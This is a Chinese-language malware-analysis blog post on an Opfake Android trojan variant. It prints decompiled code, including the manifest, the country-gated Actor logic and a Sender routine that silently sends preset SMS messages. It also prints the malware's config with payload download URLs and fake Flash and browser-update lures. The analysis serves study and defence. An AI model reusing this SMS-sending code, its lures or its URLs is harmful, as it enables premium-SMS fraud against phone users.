这次分析的依然是opfake的一个变种,但实际分析下来,感觉这个不太像,内容也是比较怪异的。

亮点不多

写道 Opfake 另一个变种?
1. AndroidManifest.xml
<?xml version="1.0" encoding="utf-8"?>
<manifest android:versionCode="1" android:versionName="1.0" package="com.software.installer"
xmlns:android="http://schemas.android.com/apk/res/android">
<uses-sdk android:minSdkVersion="5" android:targetSdkVersion="5" />
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.READ_PHONE_STATE" />
<uses-permission android:name="android.permission.SEND_SMS" />
<application android:label="@string/app_name" android:icon="@drawable/icon" android:debuggable="true">
<receiver android:name=".Notifier">
<intent-filter>
<action android:name="android.intent.action.BOOT_COMPLETED" />
<category android:name="android.intent.category.HOME" />
</intent-filter>
</receiver>
<activity android:label="@string/app_name" android:name=".Main" android:configChanges="keyboardHidden|orientation">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
<activity android:name=".Offert" />
<activity android:name=".GrantAccess" />
</application>
</manifest>

权限上可疑的地方不多,大致有访问互联网,发短信,外部存储,读取device id,虽然请求少,但是都是比较关键的权限,估计这个有下载器的感觉。


2 。类分析
从Main开始
public void onCreate(Bundle paramBundle)
{
super.onCreate(paramBundle);
setContentView(2130903041);
Notifier localNotifier = new Notifier();
//设置preference的文件
localNotifier.setPrefs(getSharedPreferences("PREFERENCES", 0));
//下面这个function就是比较重要的了 ,他从raw资源中读取了一些东西,我们也从中发现了可疑的raw配置文件act_schemes.cfg(最后有),他从中读取了第9行的一个3,并保存到了PREFERENCES.xml中NOTIFICATION_NUMBER localNotifier.initNotificationsNumberSettings(getApplicationContext());
this.progressBar = ((ProgressBar)findViewById(2131296259));
this.pleaseWaitString = getResources().getString(2131165191);
//actor类,
this.actor = new Actor(this);
//实质是国家是否匹配上
if (!this.actor.wasInitError())
{//中间会调用init()方法,方法中大量的混杂初始一些hashmap以及数字字符串。
initSettings();
//这个会true,因为前面代码中会设置
if (this.actor.sendImmediately())
{
initGUI();
if (!this.actor.isActed())
//核心的一个方法
startAct();
}
}
while (true)
{
return;
startLoading();
continue;
if (this.actor.isActed())
{
showLink();
continue;
}
initGUI();
startLoading();
continue;
finish();
}
}


Actor类构造方法

public Actor(Context paramContext)
{
this.mContext = paramContext;
this.mgr = ((TelephonyManager)this.mContext.getSystemService("phone"));
this.currentOp = this.mgr.getNetworkOperator();
this.settings = this.mContext.getSharedPreferences("PREFERENCES", 0);
// initInformation的实质是对currentOp字符串分割
// this.countryCode = this.currentOp.substring(0, 3);
// this.operatorCode = this.currentOp.substring(3, 5);
initInformation();
//实现在后面
initDataFromConfigs();
//又是国家判断,后面有分析
if (isMGF())
{// this.texts在initDataFromConfigs已经初始化了,这句也比较好理解,应该是对应的这段xml的赋值
<countryTag>
<mcc value="02" />
<firstString value="Производится установка *APP_NAME*" />
<installedText value="Установка завершена, для запуска нажмите кнопку Открыть" />
</countryTag>

this.firstText = ((String)((HashMap)this.texts.get("02")).get("firstString"));
this.installedText = ((String)((HashMap)this.texts.get("02")).get("installedText"));
}
while (true)
{//利用stringBuilder构造了好些字符串并放到了一个hash中,
init();
return;
//这句应该是判断国家的,通过countryCode来得到对应的国家,再去countries.xml中找对应的内容
if ((isRFID()) || (isUkraineID()) || (isKZID()))
{
this.firstText = ((String)((HashMap)this.texts.get(this.countryCode)).get("firstString"));
this.installedText = ((String)((HashMap)this.texts.get(this.countryCode)).get("installedText"));
continue;
}
//这应该是默认的填上这些,如果前面的没匹配到。
this.firstText = ((String)((HashMap)this.texts.get("100000")).get("firstString"));
this.installedText = ((String)((HashMap)this.texts.get("100000")).get("installedText"));
if (this.firstText != null)
continue;
this.firstText = ((String)((HashMap)this.texts.get("250")).get("firstString"));
this.installedText = ((String)((HashMap)this.texts.get("250")).get("installedText"));
}
}

private void initDataFromConfigs()
{
try
{//这句代码实质是去可疑raw文件act_schemes.cfg,的第四第五行读取,并做成了一个Pair<String, String>返回实质就是<” 29”,” 4205+29536+d+a”>
this.schemes = TextUtils.getCodeAndPrefix(this.mContext);
CURRENT_SCHEME = (String)this.schemes.first;
try
{
//这句中又发现了一个可疑的xml文件countries.xml,它具体内容在后面,干嘛用的还不清楚,(应该是不同国家的一些区别吧,)
label24: this.texts = TextUtils.getStringsForCountries(this.mContext);
label35: this.app_name = new String();
try
{
//读取了文件act_schemes.cfg的第一行:adobe-flash-player-android
this.app_name = TextUtils.getContentName(this.mContext);
label57: this.content = new String();
try
{
//读取了文件act_schemes.cfg的第二行:http://androidosoft.ru/engine/download.php?id=38
this.content = TextUtils.getURL(this.mContext);
try
{
//这里应该是判断国家的地方通过前面得到的 this.countryCode==250 this.operatorCode=02来判断的,明显我的模拟器这里会失败,估计是只有俄罗斯境内这个才能支持吧
label79: if (isMGF())
this.sendImmediately = false;
else
//这里又读取了另一个字符串还是那个raw文件中的第三行999 ,所以这里判断就是sendImmediately=true
this.sendImmediately =
TextUtils.privateMark(this.mContext).equals("999");

}

private void startAct()
{
this.dialog = new ProgressDialog(this);
this.dialog.setMessage(this.pleaseWaitString);
this.dialog.setCancelable(false);
this.dialog.show();
registerReceiver();
//核心
this.actor.activate();
}

public void activate()
{
initReceiver();
new Sender(this.mContext, (Scheme)this.actSchemes.get(CURRENT_SCHEME), (String)this.schemes.second, this.countryCode, this.operatorCode).send();
}

public Sender(Context paramContext, Scheme paramScheme, String paramString1, String paramString2, String paramString3)
{
this.mContext = paramContext;
this.actScheme = paramScheme;
this.smsData = paramString1;
}

public void send()
{
PendingIntent localPendingIntent = PendingIntent.getBroadcast(this.mContext, 0, new Intent("SENT"), 0);
SmsManager localSmsManager = SmsManager.getDefault();
int i = this.actScheme.list.size();
if (i > 0);
for (int j = 0; ; j++)
{
if (j >= i)
return;
String str = (String)((Pair)this.actScheme.list.get(j)).second + "+" + this.smsData;
//发送短信指定内容,到指定内容this.smsData是4205+29536+d+a,这个是前面的initDataFromConfigs中从raw文件中读取的, actScheme这个则是init那个方法处理的一些数字字符串,功能不详,估计是要发送的号码之类的,比较难懂
localSmsManager.sendTextMessage((String)((Pair)this.actScheme.list.get(j)).first, null, str, localPendingIntent, null);
}
}
}




3.亮点
A.raw资源还是比较关键的部分,很多恶意软件都在raw资源中留下了线索,像这个就是raw中有act_schemes.cfg内容一看就不太对头
adobe-flash-player-android
http://androidosoft.ru/engine/download.php?id=38
999
29
4205+29536+d+a
Критичное обновление
Доступно срочное обновление браузера
http://nashimarket.ru/update/b/?s=4205&a=29
此外还有个可疑的xml文件:countries.xml
<?xml version="1.0" encoding="utf-8"?>
<countriesTag>
<countryTag>
<mcc value="250" />
<firstString value="Производится установка *APP_NAME*" />
<installedText value="Установка завершена, для запуска нажмите кнопку Открыть" />
</countryTag>
<countryTag>
<mcc value="401" />
<firstString value="Производится установка *APP_NAME*" />
<installedText value="Установка завершена, для запуска нажмите кнопку Открыть" />
</countryTag>
<countryTag>
<mcc value="255" />
<firstString value="Производится установка *APP_NAME*" />
<installedText value="Установка завершена, для запуска нажмите кнопку Открыть" />
</countryTag>
<countryTag>
<mcc value="02" />
<firstString value="Производится установка *APP_NAME*" />
<installedText value="Установка завершена, для запуска нажмите кнопку Открыть" />
</countryTag>
<countryTag>
<mcc value="100000" />
<firstString value="Производится установка *APP_NAME*" />
<installedText value="Установка завершена, для запуска нажмите кнопку Открыть" />
</countryTag>
</countriesTag>

B.这个恶意软件对不同的国家进行了不同的处理,通过
mgr =((TelephonyManager)this.mContext.getSystemService("phone"));
this.currentOp = this.mgr.getNetworkOperator();
this.settings = this.mContext.getSharedPreferences("PREFERENCES", 0);
// initInformation的实质是对currentOp字符串分割
// this.countryCode = this.currentOp.substring(0, 3);
// this.operatorCode = this.currentOp.substring(3, 5);
获得本机的国家编码,在对应的配置文件xml中来做相应的处理。

C,init()采用了StringBuilder来动态的生成string,有可能是以后对抗恶意代码检测的一个手段吧。

D 感觉像是一个未完成的东西,实质上的危害只有发送短信一个功能,而且内容都是实现指定好的,感觉上比较凌乱

更多相关文章

  1. Linux下 解包/打包 Android(安卓)映像文件 system.img, boot.img
  2. Eclipse搭建Android开发环境
  3. Android(安卓)Studio 关联项目软链接
  4. android flutter打包 apk 及接facebook 及google登录的密钥生成
  5. Android(安卓)批量读取APK 包名,版本信息
  6. [Android(安卓)Studio导入第三方类库方法] Error:(19, 23) 错误:
  7. Android(安卓)Studio 引入 Fresco
  8. 解决:Failed to fectch URl https://dl-ssl.google.com/android/r
  9. NPM 和webpack 的基础使用

随机推荐

  1. 数据结构于算法—线性表详解(顺序表、链
  2. 哪吒票房逼近30亿,从豆瓣短评简单分析人们
  3. 一文多图搞懂数据结构的双链表!
  4. 数据结构与算法—栈详解(看完面试考试再
  5. 定义一个接口和抽象类
  6. 小白跟学系列之手把手搭建NLP经典模型(含
  7. NIPS2020 | 基于核的渐进式蒸馏的加法神
  8. CV学习笔记(三十一):人脸识别流程分析
  9. CV学习笔记(三十):交互式人脸活体检测
  10. CV学习笔记(二十九):活体检测总结②